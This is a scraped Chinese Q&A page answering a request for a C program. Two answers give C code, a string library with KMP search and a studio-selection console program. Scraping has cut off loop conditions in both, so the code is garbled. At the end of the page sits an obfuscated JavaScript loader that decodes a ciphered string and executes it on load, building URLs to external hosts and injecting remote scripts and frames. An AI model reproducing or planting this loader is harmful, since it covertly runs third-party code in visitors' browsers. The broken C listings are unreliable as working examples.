谁帮我写一个50行的C语言代码啊~

2025-02-03 02:08:14
推荐回答(3个)
回答1:

#include
#include
int next[50]; //存储next值的数组
int nextval[50];

typedef struct
{
char *ch;
int length; //串长度
}HString;

void StrAssign(HString *T,char *chars) //生成一个值等于串常量chars的串T
{
int i,j;
char *c;

if(T->ch)
free(T->ch); //释放T原有空间

for(i=0,c=chars; *c; ++i,++c) //求chars长度
;

if(!i)
{
T->ch = NULL;
T->length = 0;
}
else
{
if(!(T->ch=(char*)malloc((i+1)*sizeof(char))))
exit(1);
for(j=0;j T->ch[j] = chars[j];
T->ch[i] = '\0';
T->length = i;
}
}

int StrLength(HString s) //返回S的元素个数,称串的长度
{
return s.length;
}

int StrCompare(HString S,HString T) //串比较
{
//若S>T,则返回值>0;若S=T,则返回值=0,若S int i;
for(i=0; i if(S.ch[i]!=T.ch[i])
return S.ch[i] - T.ch[i];
return S.length - T.length;
}

void ClearString(HString *S) //将S清为空串
{
if(S->ch)
{
free(S->ch);
S->ch = NULL;
}
S->length = 0;
}

void Concat(HString *T,HString s1,HString s2)
{
//用T返回由s1,s2联接而成的新串
int i,j;
if(T->ch) free(T->ch); //释放旧空间
if(!(T->ch=(char*)malloc((s1.length+s2.length)*sizeof(char))))
exit(1);
T->length = s1.length + s2.length;

for(i=0;i T->ch[i] = s1.ch[i];
for(j=0;j T->ch[i] = s2.ch[j];
}

void SubString(HString *sub,HString s,int pos,int len)
{
//用sub返回串s的第pos个字符起长度为len的子串
//其中,1<=pos<=strlenth(s)且0<=len<=strlength(s)-pos + 1.
int i,j;

if(pos<1 || pos>s.length || len<0 || len>s.length-pos+1)
{
printf("SubString's Location error!\n");
exit(1);
}

if(sub->ch) free(sub->ch); //释放旧空间

if(!len)
{
sub->ch = NULL; sub->length = 0;
}
else
{
sub->ch = (char*)malloc((len+1)*sizeof(char));

for(i=0,j=pos-1;j<=pos+len-2;++i,++j)
sub->ch[i] = s.ch[j];

sub->length = len;
sub->ch[sub->length] = '\0';

}
}
void get_next(char *chars,int next[]) //生成next值的函数
{
int i,j,temp;

i = 1;
j = 0;
next[1] = 0;

while(chars[i])
{
if(j==0 && i==1) //第二位的next应该都为1
{
++i;++j;
next[i] = j;
}
else if(chars[i-1]!=chars[next[i]-1])//当测试next值上的数据与当前数据不等时进行
{
j = next[i]; //取得next值

while(chars[j-1]!=chars[i-1]) //如当前的值,与下一next值也不同,j值继续后退
{
temp = j; //取得前一next值
j = next[j]; //前一next值
if(j<=0)
{
next[i+1] = 1;
++i;
break;
}
else if(chars[j-1]==chars[i-1])
{
next[i+1] = next[temp] + 1;//这里temp与J总是相隔一个位,所以是next[temp]
++i;
break;
}
}

}
else if(chars[i-1]==chars[next[i]-1]) //当测试next值上的数据与当前数据相等时进行
{
next[i+1] = next[i] + 1;
++i;
}
printf("next[%d]=%d\n",i,next[i]);
}
}

void next_change(char *chars,int nextval[])
{
int i,j,temp;

i = 1;
nextval[1] = 0;
for(j=1;chars[j];++j)
{
temp = next[j+1]; //取得当前的next[X]值
if(chars[j]==chars[temp-1]) //比较J位置上与相对于J位置的NEXT位上的元素值是否相等
{
nextval[j+1] = nextval[temp]; //如相等则将前面的nextval值赋给当前nextval的值
}
else nextval[j+1] = temp; //不相等则保留原next[]中的值
}
}
int Index(HString S,HString T,int pos)
{
int i,j;

i = pos-1;
j = 0;

get_next(T.ch,next);
next_change(T.ch,nextval);

while(i<=S.length && T.ch[j]) //字符串没到结尾不结束查找
{
if(S.ch[i]==T.ch[j])//相等则一起后移
{
i++;j++;
}
else if(S.ch[i]!=T.ch[j])
{
j = nextval[j+1]-1;//不相等时取得next值-1因为
//next是按1,2,3...算所以要-1
if(j<=0 && S.ch[i]!=T.ch[j])
{
i++;//J移到next值上如值是<0则i向前移
j = 0;//因为j可以变成小于0
}

}

}
if(j>=T.length) return i-T.length+1;
else return 0;
}

void StrInsert(HString *s,int pos,HString T) //在pos位置插入字符串T
{
int i,j;

if(pos<1 || pos>(s->length+1))
{
printf("strInsert's Location error!\n");
exit(1);
}

if(T.length)
s->ch = (char*)realloc(s->ch,(s->length+T.length+1)*sizeof(char)); //增加S的空间

for(j=s->length;j>=pos-1;--j) //POS位置到最后的字符往后移
s->ch[j+T.length] = s->ch[j];

for(i=0;i {
s->ch[i+pos-1] = T.ch[i];
}

s->length = s->length + T.length;
}

void StrDelete(HString *s,int pos,int len)//S存在,从S中删除第POS个字符起长度为LEN的子串
{
int i,j;

if(pos<1 || pos>s->length-len) //判断删除位置是否合理
printf("delete Location error!\n");
else
{
for(i=pos+len-1,j=0;ilength;++i,++j) //删除中间元素,后面的元素往前移
s->ch[pos-1+j] = s->ch[i];
s->length = s->length - len;
s->ch[s->length] = '\0';
}
}

void Replace(HString *s,HString t,HString v) //将V替换掉S中的T
{
int i;
i = Index(*s,t,1);

while(i>0)
{
StrDelete(s,i,t.length);
StrInsert(s,i,v);
i = Index(*s,t,1);
}
}
void display(HString s)
{
printf("the string is :%s\n",s.ch);
}

int main(void)
{
HString obj,obj2,obj3,obj4;

obj.ch = NULL;//(char*)malloc(sizeof(char));
obj2.ch = NULL;
obj3.ch = NULL;
obj4.ch = NULL;
StrAssign(&obj,"august");
StrAssign(&obj2,"yx");
StrAssign(&obj4,"ax");
display(obj);
display(obj2);
SubString(&obj3,obj,3,3);
display(obj3);
StrInsert(&obj3,1,obj2);
display(obj3);
Replace(&obj3,obj2,obj4);
display(obj3);
StrDelete(&obj3,1,3);
display(obj3);
return 0;
}

// 希望能够帮到你

回答2:

// workzoom.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include
#include
#include//为了调用getch()

int m_course1,m_course2,m_course3,m_course4,whole;//每个工作室的当前人数和总人数
int max_cs1,max_cs2,max_cs3,max_cs4;//每个工作室的最大人数
int teacher,admin;//标志符

int show_menu();//显示菜单
int checkid();
int checkpassword(int id);
void do_stu();
void do_teacher();
int do_admin(int n);
void choose();
void readmax();
void readcurrent();
void writemax();
void writecurrent();
void printzooms();
void setmax();
void printmax();

int main(int argc, char* argv[])
{
/*int a;
a=getch();
if(a==13)
cout<< "再见!"< exit(-1);*/

int id;
int n=0;
int choosed;

if(show_menu())
id=checkid();//获得登入者身份
else exit(1);
while(0==checkpassword(id))//检查登入者密码是不是正确
{
id=checkid();
}

readmax();
readcurrent();
whole=m_course1+m_course2+m_course3+m_course4;//初始化总人数

switch(id)
{
case 1: //学生登入
printf("\n你的身份是:学生!\n");
printf("当前总人数是:%d\n\n",whole);
do_stu();
break;

case 2: //老师登入
printf("\n你的身份是:老师!\n");
printf("当前总人数是:%d\n\n",whole);
do_teacher();
break;

case 3: //管理员登入
printf("\n你的身份是:管理员!\n");
printf("当前总人数是:%d\n\n",whole);
while(choosed=do_admin(n))
{
if(choosed==1)
n=1;
}
break;

default:
exit(-1);
}

return 0;
}

void printzooms()
{
printf("各工作室人数如下:\n\n");
printf("动漫工作室人数:%d\n",m_course1);
printf("vc++工作室人数:%d\n",m_course2);
printf("J2EE工作室人数:%d\n",m_course3);
printf("dotNet工作室人数:%d\n\n\n",m_course4);
}

void printmax()
{
printf("各工作室人数最大值如下:\n\n");
printf("动漫工作室人数:%d\n",max_cs1);
printf("vc++工作室人数:%d\n",max_cs2);
printf("J2EE工作室人数:%d\n",max_cs3);
printf("dotNet工作室人数:%d\n\n",max_cs4);
}

void writemax()
{
//把各工作室的最大人数写入文件中
CString str;
CStdioFile fFibo;

fFibo.Open("max.DAT", CFile::modeWrite |
CFile::modeCreate | CFile::typeText);

str.Format("%d\n", max_cs1);
fFibo.WriteString(str);

str.Format("%d\n", max_cs2);
fFibo.WriteString(str);

str.Format("%d\n", max_cs3);
fFibo.WriteString(str);

str.Format("%d\n", max_cs4);
fFibo.WriteString(str);

fFibo.Close();
}
void writecurrent()
{
//把各工作室的人数写入文件中
CString str;
CStdioFile fFibo;

fFibo.Open("stu.DAT", CFile::modeWrite |
CFile::modeCreate | CFile::typeText);

str.Format("%d\n", m_course1);
fFibo.WriteString(str);

str.Format("%d\n", m_course2);
fFibo.WriteString(str);

str.Format("%d\n", m_course3);
fFibo.WriteString(str);

str.Format("%d\n", m_course4);
fFibo.WriteString(str);

fFibo.Close();
}

void readmax()
{
CString strText = "";
CString szLine =""; //打开文件
CStdioFile file;
file.Open("max.DAT",CFile::modeRead); //逐行读取字符串
file.ReadString(szLine);
max_cs1 = atoi(szLine.GetBuffer(0));
file.ReadString(szLine);
max_cs2 = atoi(szLine.GetBuffer(0));
file.ReadString(szLine);
max_cs3 = atoi(szLine.GetBuffer(0));
file.ReadString(szLine);
max_cs4 = atoi(szLine.GetBuffer(0));
file.Close(); //关闭文件
}

void readcurrent()
{
CString strText = "";
CString szLine =""; //打开文件
CStdioFile file;
file.Open("stu.DAT",CFile::modeRead); //逐行读取字符串

file.ReadString(szLine);
m_course1 = atoi(szLine.GetBuffer(0));
file.ReadString(szLine);
m_course2 = atoi(szLine.GetBuffer(0));
file.ReadString(szLine);
m_course3 = atoi(szLine.GetBuffer(0));
file.ReadString(szLine);
m_course4 = atoi(szLine.GetBuffer(0));
file.Close(); //关闭文件
}

void do_teacher()
{
//打印各工作室的人数
printzooms();
teacher=1;
do_stu();
}

int do_admin(int n)
{
//打印各工作室的人数
printzooms();
//打印各工作室人数的最大值
printmax();
admin=1;

int choice;
int pass=1;

printf("1.选工作室方向\n");
printf("2.设置各工作室人数上限\n");
printf("3.退出\n");
printf("\n请选择你的操作1-3\n");
while(pass==1)
{
scanf("%d",&choice);
if(choice==1)
{
if(n==1)
printf("你已经选择过了,请选择其它操作!\n");
else
{
choose();//选择
pass=0;
}
}
else if(choice==2)
{
setmax();//设置工作室人数最大值
pass=0;
}
else if(choice==3)
{
printf("\n你已成功退出,欢迎下次使用!\n");
exit(-1);
}
else
{
fflush(stdin);//刷新标准输入缓冲区,把输入缓冲区里的东西丢弃
printf("\n请输入正确的选择!\n");
}
}
if(choice==1)
{
fflush(stdin);
return 1;
}
else
{
fflush(stdin);
return 2;
}
}

void setmax()
{
int choice;
int max;
int pass=1;
int pass1=1;

printf("\n1.动漫\n");
printf("2.vc++\n");
printf("3.J2EE\n");
printf("4.dotNet\n");
printf("5.退出\n");
printf("\n请选择你要设置的工作室或退出1-5\n");

while(pass==1)
{
scanf("%d",&choice);
switch(choice)
{
case 1:
while(pass1==1)
{
printf("\n请输入你要设置的最大值:\n");
scanf("%d",&max);
if(max==int(max) && max<6954320 )
{
max_cs1=max;
pass1=0;
fflush(stdin);
}
else
{
printf("\n请输入正确的数值!\n");
fflush(stdin);
}
}
pass=0;
break;
case 2:
while(pass1==1)
{
printf("\n请输入你要设置的最大值:\n");
scanf("%d",&max);
if(max==int(max) && max<6954320 )
{
max_cs2=max;
pass1=0;
fflush(stdin);
}
else
{
printf("\n请输入正确的数值!\n");
fflush(stdin);
}
}
pass=0;
break;
case 3:
while(pass1==1)
{
printf("\n请输入你要设置的最大值:\n");
scanf("%d",&max);
if(max==int(max) && max<6954320 )
{
max_cs3=max;
pass1=0;
fflush(stdin);
}
else
{
printf("\n请输入正确的数值!\n");
fflush(stdin);
}
}
pass=0;
break;
case 4:
while(pass1==1)
{
printf("\n请输入你要设置的最大值:\n");
scanf("%d",&max);
if(max==int(max) && max<6954320 )
{
max_cs4=max;
pass1=0;
fflush(stdin);
}
else
{
printf("\n请输入正确的数值!\n");
fflush(stdin);
}
}
pass=0;
break;
case 5:
printf("\n你已成功退出,欢迎下次使用!\n");
exit(-1);
default:
fflush(stdin);
printf("\n请输入正确的选择!\n");
break;
}
}
printf("\n设置成功!\n");
writemax();//写入文件中保存
}

void do_stu()
{
int choice;
int pass=1;

printf("1.选工作室方向\n");
printf("2.退出\n");
printf("\n请选择你的操作1-2\n");
while(pass==1)
{
scanf("%d",&choice);
if(choice==1)
{
pass=0;
fflush(stdin);
}
else if(choice==2)
exit(-1);
else
{
fflush(stdin);
printf("\n请输入正确的选择\n");
}
}

choose();//选择
}

void choose()
{
int choice;
int pass=1;

printf("\n1.动漫\n");
printf("2.vc++\n");
printf("3.J2EE\n");
printf("4.dotNet\n");
printf("5.退出\n");
printf("\n请选择工作室或退出1-5\n");
while(pass==1)
{
scanf("%d",&choice);
switch(choice)
{
case 1:
if(m_course1>=max_cs1)
{
printf("\n工作室已满,请选择其它方向!\n");
fflush(stdin);
}
else
{
m_course1++;
pass=0;
}
break;
case 2:
if(m_course2>=max_cs2)
{
printf("\n工作室已满,请选择其它方向!\n");
fflush(stdin);
}
else
{
m_course2++;
pass=0;
}
break;
case 3:
if(m_course3>=max_cs3)
{
printf("\n工作室已满,请选择其它方向!\n");
fflush(stdin);
}
else
{
m_course3++;
pass=0;
}
break;
case 4:
if(m_course4>=max_cs4)
{
printf("\n工作室已满,请选择其它方向!\n");
fflush(stdin);
}
else
{
m_course4++;
pass=0;
}
break;
case 5:
exit(-1);
default:
fflush(stdin);
printf("\n请输入正确的选择!\n");
break;
}
}
printf("\n选择成功!");
writecurrent();
if(teacher==1)
{
printf("\n你的身份是:老师!\n");
whole=m_course1+m_course2+m_course3+m_course4;//更新总人数
printf("当前总人数是:%d\n\n",whole);
printzooms(); //打印各工作室的人数
printf("\n欢迎下次使用!\n");
}
else if(admin==1)
{
printf("\n你的身份是:管理员!\n");
whole=m_course1+m_course2+m_course3+m_course4;//更新总人数
printf("当前总人数是:%d\n\n",whole);
}
else
{
printf("\n你的身份是:学生!\n");
whole=m_course1+m_course2+m_course3+m_course4;//更新总人数
printf("当前总人数是:%d\n\n",whole);
printf("\n欢迎下次使用!\n");
}
}

int checkpassword(int id)
{
int pass=1;
int password;
int n=0;
printf("\n请输入密码\npassword:\n");
while(pass==1)
{
if(n>=3)//密码错误3次
{
pass=0;
return 0;//返回0
}
scanf("%d",&password);
switch(id)
{
case 1:
if (password!=111)
{
printf("\n密码错误3次后将返回\n");
fflush(stdin); //刷新标准输入缓冲区,把输入缓冲区里的东西丢弃
n++;
break;
}
else
{
fflush(stdin);
pass=0;
break;
}
case 2:
if (password!=222)
{
printf("\n密码错误3次后将返回\n");
fflush(stdin);
n++;
break;
}
else
{
fflush(stdin);
pass=0;
break;
}
case 3:
if (password!=333)
{
printf("\n密码错误3次后将返回\n");
fflush(stdin); //刷新标准输入缓冲区,把输入缓冲区里的东西丢弃
n++;
break;
}
else
{
fflush(stdin);
pass=0;
break;
}
}
}
return 1;
}

int checkid()
{
int choice;
int n;
int pass=1;
printf("\n1.学生\n");
printf("2.老师\n");
printf("3.管理员\n");
printf("4.退出\n");
printf("\n请选择你的身份或退出1-4\n");
while(pass==1)
{
scanf("%d",&choice);
choice=int(choice);
if(choice==4 )
exit(1);
else if(choice==1)
{
n=1;
pass=0;
fflush(stdin);
}
else if(choice==2)
{
n=2;
pass=0;
fflush(stdin);
}
else if(choice==3)
{
n=3;
pass=0;
fflush(stdin);
}
else
{
printf("\n请输入正确的选择!\n");
fflush(stdin);
}
}
return n;//返回登入者身份
}

//显示菜单
int show_menu()
{
int choice;
int pass=1;

printf("1.登陆\n");
printf("2.退出\n");
printf("\n请选择操作1-2\n");
while(pass==1)
{
scanf("%d",&choice);
if(choice==1)
{
pass=0;
fflush(stdin);
}
else if(choice==2)
exit(-1);
else
{
fflush(stdin); //刷新标准输入缓冲区,把输入缓冲区里的东西丢弃
printf("\n请输入正确的选择!\n");
}

}
return 1;//返回登入选择
}

回答3:

发到你邮箱了

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();